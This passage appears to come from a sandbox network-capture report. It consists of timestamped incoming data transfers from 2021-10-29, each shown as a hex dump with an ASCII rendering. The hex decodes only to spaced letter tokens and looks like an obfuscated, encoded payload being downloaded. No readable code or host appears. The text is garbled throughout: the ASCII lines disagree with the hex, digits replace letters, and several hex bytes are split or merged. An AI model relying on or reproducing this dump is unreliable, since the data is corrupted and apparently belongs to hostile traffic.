2021-10-29 18:29:21 UTC 2163 IN Data Raw: 20 4f 20 4b 45 20 45 20 51 20 78 20 4f 6b 78 20 4f 20 4b 6b 20 45 20 51 20 78 20 4f 6b 4b 20 4f 20 59 45 20 45
20 51 20 78 20 4f 6b 6b 20 4f 20 59 6b 20 45 20 51 20 78 20 4f 51 6f 20 4f 20 52 45 20 45 20 51 20 78 20 4f 51 52 20 4f 20
52 6b 20 45 20 51 20 78 20 6f 78 78 20 4f 20 74 45 20 45 20 51 20 78 20 6f 78 4b 20 4f 20 74 6b 20 45 20 51 20 78 20 6f
78 6b 20 4f 20 6b 45 20 45 20 51 20 78 20 6f 4f 6f 20 4f 20 6b 6b 20 45 20 51 20 78 20 6f 4f 52 20 4f 20 51 45 20 45 20 51
20 78 20 6f 6f 78 20 4f 20 51 6b 20 45 20 51 20 78 20 6f 6f 4b 20 4f 20 4f 78 45 20 45 20 51 20 78 20 6f 6f 6b 20 4f 20 4f
78 6b 20 45 20 51 20 78 20 6f 45 6f 20 4f 20 4f 4f 45 20 45 20 51 20 78 20 6f 45 52 20 4f 20 4f 4f 6b 20 45 20 51 20 78 20
6f 4b 78 20 4f 20 4f 6f 45 20 45 20 51 20
Data Ascii: OKEE Q x Okx OKKE Q x OKK O YEE Q x Okk O YK EQ x OQo O REE Q X OQR O Rk E Q x oxx O tE E
QxoxK Otk EQ xoxkOkEEQx0000 kk EQ x00R O QE EQ x00x O Qk EQ x 00K O OXE E Q x ook O Oxk E Q x
0Eo O OOE E Q x 0ER O OOk E Q x oKx O OoE E Q

2021-10-29 18:29:21 UTC 2179 IN Data Raw: 74 20 4f 4f 78 20 4f 78 78 20 4f 78 6b 20 4f 78 4f 20 74 51 20 4f 4f 78 20 6b 45 20 4f 4f 52 20 51 74 20 51 51 20
4f 78 74 20 78 20 6b 6f 20 4f 78 4f 20 4f 78 45 20 4f 78 59 20 4f 4f 59 20 4f 4f 52 20 4f 4f 4b 20 4f 6f 4f 20 74 59 20 4f 78 41
20 4f 6f 4f 20 6b 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 51 20 4f 78 59 20 4f 4f 59 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f 20 4f 4f 78
20 52 74 20 4f 78 4b 20 4f 78 4f 20 51 51 20 4f 78 74 20 78 20 52 59 20 4f 78 6b 20 4f 78 6b 20 4f 4f 4f 20 51 51 20 74 6f
20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 78 20 4f 4f 4b 20 4f 78 4f 20 4f 78 4f 20 74 6f 20
74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 74 20 51 74 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4b 20
51 74 20 4f 78 6b 20
Data Ascii: t OOx Oxx Oxk OxO tQ OOx kE OOR Qt QQ Oxt x ko OxO OxE OxY OOY OOR OOK 000 tY OxO 000 kx
Ox0 OOK OxQ OxY OOY OOY OxY OO0 OOx Rt OxK OxO QQ Oxt x RY Oxk Oxk OO0 QQ to tO Oxk OO0 Qk Qt Oxk
X tx OOK OxO OxO to tO Oxk OO0 Qk Qt Oxk x tt Qt OOK OOY OxK Qt Oxk

2021-10-29 18:29:21 UTC 2195 IN Data Raw: 6f 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 6f 20 4f 59 4f 20 6f 6f 59 20 4f 6b 4f 20 4f 52 59 20 6f
6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 4f 20 4f 74 6f 20 6f 6f 59 20 4f 6b 4f 20 4f 6b 52 20 6f 6f 59 20 4f 6b 6f 20
4f 45 78 20 78 20 6f 45 45 20 4f 45 6f 20 4f 51 78 20 6f 45 45 20 4f 45 45 20 4f 59 78 20 6f 45 45 20 4f 45 45 20 4f 74 4b 2
0 6f 45 45 20 4f 45 45 20 4f 6b 59 20 6f 45 45 20 4f 45 45 20 4f 59 52 20 6f 45 45 20 4f 45 45 20 4f 6b 51 20 6f 45 45 20 4f
45 45 20 4f 74 59 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 59 45
20 6f 45 45 20 4f 45 45 20 4f 6f 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 52 20 6f 45 45 20 4f
45 45 20 4f 4b 51
Data Ascii: 0 00Y Oko OEx ooY Oko OYO ooY OkO ORY ooY Oko OEx 0oY OkO Oto ooY OkO OkR ooY Oko OEx x oEE
OEo OQx oEE OEE OYx oEE OEE OtK oEE OEE OkY oEE OEE OYR oEE OEE OkQ oEE OEE OtY oEE OEE OtO oEE
OEE OtO oEE OEE OYE oEE OEE OoQ oEE OEo OkQ oEE OEo OkR oEE OEE OKQ

2021-10-29 18:29:21 UTC 2211 IN Data Raw: 4f 20 4f 6f 51 20 4f 6b 51 20 6f 45 4f 20 4f 6f 51 20 4f 4b 78 20 6f 45 4f 20 4f 45 78 20 4f 4b 78 20 6f 45 4f 20 4f
6f 51 20 4f 4b 45 20 6f 45 4f 20 4f 45 78 20 4f 45 78 20 6f 45 4f 20 4f 6f 51 20 4f 6b 59 20 6f 45 4f 20 4f 6f 51 20 4f 4b 6f
20 78 20 6f 45 59 20 4f 45 45 20 4f 4b 74 20 6f 45 59 20 4f 45 45 20 4f 74 74 20 6f 45 59 20 4f 45 45 20 4f 51 78 20 6f 45
59 20 4f 45 45 20 4f 52 6f 20 6f 45 59 20 4f 45 4b 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 2
0 4f 45 4b 20 6f 45 59 20 4f 45 45 20 4f 74 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 52 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f
45 59 20 4f 45 4b 20 4f 6f 51 20 6f 45 59 20 4f 45 45 20 4f 4b 4f 20 6f 45 59 20 4f 45 45 20 4f 4b 4b 20 6f 45 59 20 4f 45 45
20 4f 6b 6b 20 6f 45 59
Data Ascii: O 00Q OkQ 0EO O0Q OKx 0EO OEx OKx 0EO O0oQ OKE 0EO OEx OEx 0EO 0O0Q OKY 0EO OoQ OKo x
oEY OEE OKt oEY OEE Ott oEY OEE OQx oEY OEE ORo oEY OEK OKK oEY OEE OKx oEY OEK OEK oEY OEE OtK
oEY OEE OKR oEY OEE OKx oEY OEK OoQ oEY OEE OKO oEY OEE OKK oEY OEE Okk oEY

2021-10-29 18:29:21 UTC 2227 IN Data Raw: 4f 4b 74 20 4f 4b 78 20 6f 6f 6b 20 4f 4b 52 20 4f 59 51 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 4f 20 6f 6f 6b 20 4f 4b
52 20 4f 6b 6b 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 59 45 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20
78 20 6f 45 4f 20 4f 4b 52 20 4f 59 6f 20 6f 45 4f 20 4f 4b 52 20 4f 4b 6b 20 6f 45 4f 20 4f 4b 52 20 4f 59 45 20 6f 45 4f 20
4f 4b 74 20 4f 45 45 20 6f 45 4f 20 4f 4b 52 20 4f 6b 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 4b 20 6f 45 4f 20 4f 4b 74 20 4f 45
74 20 6f 45 4f 20 4f 4b 52 20 4f 59 78 20 6f 45 4f 20 4f 4b 74 20 4f 45 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 59 20 6f 45 4f 20
4f 4b 52 20 4f 6b 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 4b 20 6f 45 4f 20 4f 4b 52 20 4f 74
6b 20 6f 45 4f 20 4f
Data Ascii: OKt OKx ook OKR OYQ ook OKR OkO ook OKR Okk ook OKR OYO ook OKR OYE ook OKR OYO x oEO OK
R OYo oEO OKR OKk oEO OKR OYE oEO OKt OEE 0EO OKR Okt oEO OKR OYK oEO OKt OEt oEO OKR OYx oEO
OKt OER 0oEO OKt OEY 0EO OKR Okx oEO OKR OYR oEO OKt OEK 0EO OKR Otk oEO O

2021-10-29 18:29:21 UTC 2243 IN Data Raw: 4b 20 4f 52 4f 20 6f 45 78 20 4f 52 4b 20 4f 4b 6f 20 6f 45 78 20 4f 52 4b 20 4f 6b 59 20 6f 45 78 20 4f 52 45 20
4f 74 51 20 6f 45 78 20 4f 52 4b 20 4f 59 4f 20 6f 45 78 20 4f 52 45 20 4f 6b 45 20 6f 45 78 20 4f 52 4b 20 4f 52 6f 20 78 20
6f 6f 74 20 4f 74 4b 20 4f 52 51 20 6f 6f 74 20 4f 74 4b 20 4f 52 52 20 6f 6f 74 20 4f 74 59 20 4f 59 78 20 6f 6f 74 20 4f 74
4b 20 4f 52 6f 20 6f 6f 74 20 4f 74 4b 20 4f 52 6b 20 6f 6 74 20 4f 74 59 20 4f 45 45 20 6f 6f 74 20 4f 74 59 20 4f 45 74 20
6f 6f 74 20 4f 74 4b 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 74 78 20 6f 6f 74 20 4f 74 59 20 4f 52 4b 20 6f 6f 74 20 4f 74
59 20 4f 59 4b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 59 20 4f 4b 6b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20
6f 6f 74 20 4f 74 4b
Data Ascii: K ORO oEx ORK OKo oEx ORK OkY oEx ORE OtQ oEx ORK OYO oEx ORE OkE oEx ORK ORo x oot OtK
ORQ oot OtK ORR oot OtY OYx oot OtK ORo oot OtK ORk oot OtY OEE oot OtY OEt oot OtK ORK oot OtY Otx oot OtY
ORK oot OtY OYK oot OtY OKY oot OtY OKk oot OtY OKY oot OtK
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 2259 IN Data Raw: 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 4b 78 20 6f 45 6b 20 4f 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 59
4b 20 6f 45 6b 20 4f 6b 4b 20 4f 52 74 20 6f 45 6b 20 4f 6b 4b 20 4f 59 74 20 6f 45 6b 20 4f 6b 45 20 4f 74 6f 20 78 20 6f
45 45 20 4f 6b 4b 20 4f 45 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 6f 20 6f 45 45 20 4f 6b 4b 20 4f 6f 6b 20 6f 45 45 20 4f 6b 4b
20 4f 59 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 6f 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 45 20 6f
45 45 20 4f 6b 4b 20 4f 74 59 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 52 20 6f 45 45 20 4f 6b
45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 59 6b 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 74 4b
20 6f 45 45 20 4f 6b 4b 20 4f
Data Ascii: OtO oEk OkK OKx oEk OKE OtO oEk OkK OYK oEk OkK ORt oEk OkK OYt oEk OKE Oto x oEE OkK OEO
OoEE OkK Oto oEE OkK Ook oEE OkK OYO oEE OkK OYo oEE OkK OtO oEE OkK OtE oEE OkK OtY oEE OkK OtO oEE
OkK OYR oEE OKE OQx oEE OkK OYk oEE OKE OQx oEE OkK OtK oEE OkK O

2021-10-29 18:29:21 UTC 2275 IN Data Raw: 45 20 6f 45 59 20 4f 45 45 20 4f 4b 6b 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 6f 45 59 20 4f 45 45 20 4f 45 51
20 6f 45 59 20 4f 45 45 20 4f 6b 4f 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4
45 45 20 4f 6b 78 20 6f 45 59 20 4f 45 45 20 4f 52 4f 20 6f 45 59 20 4f 45 45 20 4f 45 4f 20 6f 45 59 20 4f 45 4b 20 4f 45 51
20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 78 20 6f 6f 74 20 4f 59 4f 20 4f 74 52 20 6f 6f 74 20 4f 59 4f 20 4f 52 51 20 6f 6f 74 2
0 4f 59 4f 20 4f 4b 74 20 6f 6f 74 20 4f 59 78 20 4f 51 78 20 6f 6f 74 20 4f 59 4f 20 4f 4b 6b 20 6f 6f 74 20 4f 59 4f 20 4f 74
6f 20 6f 6f 74 20 4f 59 78 20 4f 6b 6f 20 6f 6f 74 20 4f 59 4f 20 4f 74 78 20 6f 6f 74 20 4f 59 78 20 4f 6b 51 20 6f 6f 74 20 4f
59 4f 20 4f 6b 6b
Data Ascii: E oEY OEE OKk oEY OEE OKE oEY OEE OEQ oEY OEE OkO oEY OEE OEQ oEY OEE OKx oEY OEE Okx
oEY OEE ORO oEY OEE OEO oEY OEK OEQ oEY OEE OKE x oot OYO OtR oot OYO ORQ oot OYO OKt oot OYx OQx
oot OYO OKk oot OYO Oto oot OYx Oko oot OYO Otx oot OYx OkQ oot OYO Okk

2021-10-29 18:29:21 UTC 2291 IN Data Raw: 20 78 20 52 59 20 78 20 52 52 20 78 20 52 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 59 6f 20
7820 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 7820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f
4f 51 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
Data Ascii: X RY x RR x Rt x RY x kO x RR x Yo x tE x kO x RY x RY x RY X RY x RY x RY x RY X RY x RY x RY x RY x
RY x RR x O0Q x O0Q x O0Q x RY x RY xto x RY X RY X RY X RY X RY X RY x RY X RY X RY X RY x RY x RY X RY X
RY x RY x RY x RY x RY x RY x RY x RY x RY x

2021-10-29 18:29:21 UTC 2307 IN Data Raw: 78 20 4b 45 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 6b 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52
59 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 74 20 78
20 7452 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 59
20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78
2051 74 20 78 20 52 6b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b
20 7820 59 52 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4b 74 20 78 20
4b 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 78 20 6b
Data Ascii: x KE x OXY x OOx x kx x OXE x RY x RY x kY x tE x KQ x tx x OOR x tx X Rt X tR x RR x OO0 x OOk x tQ x
Kt x KQ x RY x kO x YK x 000 x OxQ x tR x RR x OxQ x Qt x Rk x 000 x Qk x kK x Kt x Kt x OOk x YR x RY x OxR x kQ
X Yx x Kk X Kt x Kt X YY x Kt x kY x k

2021-10-29 18:29:21 UTC 2323 IN Data Raw: 51 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 78 74 20 78 20 52 51 20 78 20 6b 52 20 78 20 59 6f 20 78
20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 52
5920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 59 52 20 78 20 74 45 20 78 20 52 59 20 78 20
4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 6f 20 78
20 4f 4f 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 51 78 20
78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b
7420 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f 4f 74 20
Data Ascii: Qk x OXE x Kt x Oxt x RQ x kR x Yo x Oxk x Oxx x KE x RY x KE x tx x OO0 x RY x RY X RY x RY x tR x YR
X tE X RY X OXE X RY X RY X kR X YO X YX X tx X YO0 x OOk x YO x Kt x Kt x KQ x tk x kO x Qx x OO0 x OxQ x Oxx X Yo X
kx x YO x Kt x Kt x KE x OXR x OOt

2021-10-29 18:29:21 UTC 2339 IN Data Raw: 20 74 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78
20 74 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 52
2078 20 6b 74 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78
20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 52 6b 20 78 20 6b 59 20 78 20 74 52
20 78 20 4f 78 51 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78
20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b
20 7820 74 6b 20 78 20 74 74 20 78 20 4f 4f 6b 20 78 20 52
Data Ascii: tx x tO x OO0 x RY x kY x tt x QQ X tO x Kk x tt x OO0 x RY x RY X tQ x OXR X kt x OxY X RY X RY x RY x
OXE x YR x kO x tt x OXY X YR x Qk x Rk x kY X tR x OxQ x tt X YR x Oxt x RY x RY x Oox x O0Q x Rk x kO x 000 x Oxt
X RY x RY x YK x tk x tt x OOk x R

2021-10-29 18:29:21 UTC 2355 IN Data Raw: 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b
4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 6b 4f 20 78
205259 20 78 20 52 6b 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59
20 7820 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 45 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20
59 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20
78 2059 78 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74
6b 20 78 20 59 45 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20
Data Ascii: Q x kO X RY x RY x Rk x Kt x Oxx x kO x OXR x Kt x tx x Qx X OxR x RR x kO x RY x Rk x tK x O0Q x KQ x kt
XtR XYY X tE X kx x OOY x tY x tE x tk x Oxk X Yo X RY x Rt X tx x OOQ x tE x Oxk x tk X Yx x tE x OOR X tk x Rk x tE x
Oxk x tk x YE x tE x OOR x

2021-10-29 18:29:21 UTC 2371 IN Data Raw: 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4b
207820 6b 52 20 78 20 59 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20
4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 59 4b 20 78
20 7478 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b
20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51
7420 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4
f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 4b 51 20 78 20
Data Ascii: x Kk x Kt x Oxo x Kt x Kt x YK x tK X KR x YX X RY X RY x Rt x tk x OxK x Ox0 x kK x Yt x Kt x Kt x Yt x kO x
YK x tx X tE x kx X RY x RY x Rt x tk x OxK x Ox0 x kK x Yt x Kt x Kt x Yt x KO x Qt x RY x Rk x tt x KO X RY x Rt x tk x
OxK x Oxo x kK x KQ x
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Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 2387 IN Data Raw: 20 4f 78 52 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20
78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78
2052 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20
78 20 4b 45 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51
6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20
52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 59 4b 20 78 20 6b 6b 20
78 20 4f 78 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74
Data Ascii: OxR x RQ x kO x RY x Rk x Kt x Oxx x Oxo x OXR x OO0 x kE x Oxk x OO0 x RY x RY x tE x kx x RQ x Rk x
kx x Yt x KQ x KE x tE x OOk x kQ x Yt x Yt x OOY x Qk x Yx x Kk x kx x Kt x tx x ko x kK x RY x kO x RY x RR x OxQ x
OXE x YK x kk x Oxt x Yt x Kt x Kt

2021-10-29 18:29:21 UTC 2403 IN Data Raw: 20 78 20 4b 74 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 59 52
2078 20 74 6f 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 51 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4b 51 20 78 20 74
4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 52 20 78 20 52 74 20 78
20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 52 59 20
78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 59 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 74 45
20 7820 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20
6b 4b 20 78 20 4f 78 59 20 78 20 4b 74 20 78 20 52 6b 20 78
Data Ascii: x Kt x kt x tQ x Kt x OOt x tR x YR x to x kO x RQ x tQ x Kt x tk x KQ x tK x Oxk x kx x Kt x tx x ko x OXR x Rt x
kO x RY x Rt x tR x kx x kY x 000 x RY x kO X RY x Rt X tR x Yx x tO x OO0 x tE x kY x Kt x Kt x kk x Qt x OXE x OO0 x
kK x OxY x Kt x Rk x

2021-10-29 18:29:21 UTC 2419 IN Data Raw: 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 6b 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 4b 74 20
78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 74 20 78 20 51
7820 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 78 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 6b 4f 20 78 20 4f 4f 6b 20
78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 4f
4f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 51 20 78
2052 59 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 52
207820 74 78 20 78 20 74 51 20 78 20 6b 52 20 78 20
Data Ascii: Oxk x Oxx x Kk x tQ x OxR x Rt x Kt x Ox0 x Kt x Kt x OxY x YO x KY x tt x Qx x OxR x Oxt x OxO x Rk x Yo x
kO x OOk x RY x kO x RY x RY x OxY x kk x kk x OO0 x OxY x Kk x kk x OO0 x Rk x YY x QQ x RY x Qx x OxR x Kk x
OXE x RY x to x kR x tx x tQ x kR x

2021-10-29 18:29:21 UTC 2435 IN Data Raw: 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f
20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78
20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4f 4f 51
207820 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20
6b 4f 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 51 78 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78
2051 74 20 78 20 4f 78 52 20 78 20 59 4b 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 51 51 20 78 20 74 4b 20 78 20 4f 4f 45
20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 4f 4f 4f
Data Ascii: x Kt x Oxx x kO x 000 x Kt x Oxx x kO x OxK x kt x Kt x Oox x KY x Kk x O0Q x kY x RY x RY x kk x KQ x YY
x tK x 00Q x KQ x kt X tR x YY X tE x kx x OOY x kO x tO x Qt x Rk x Qx x QQ X RY x RY x Qt x OxR x YK x tk x ko x QQ
X tK x OOE x RY x tx x Rk x OO0

2021-10-29 18:29:21 UTC 2451 IN Data Raw: 20 52 59 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 74 78 20 78 20 74 78 20
78 20 4f 4f 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 52 6b 20 78
2059 45 20 78 20 52 6b 20 78 20 52 52 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 4f 6f 4f
20 78 20 74 78 20 78 20 74 6f 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 6b 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20
52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 52 74 20 78 20 6b 78 20 78 20 52 52 20 78 20 52 59 20
782052 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 52 74 20 78 20 74
4b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 6f 4f 20 78
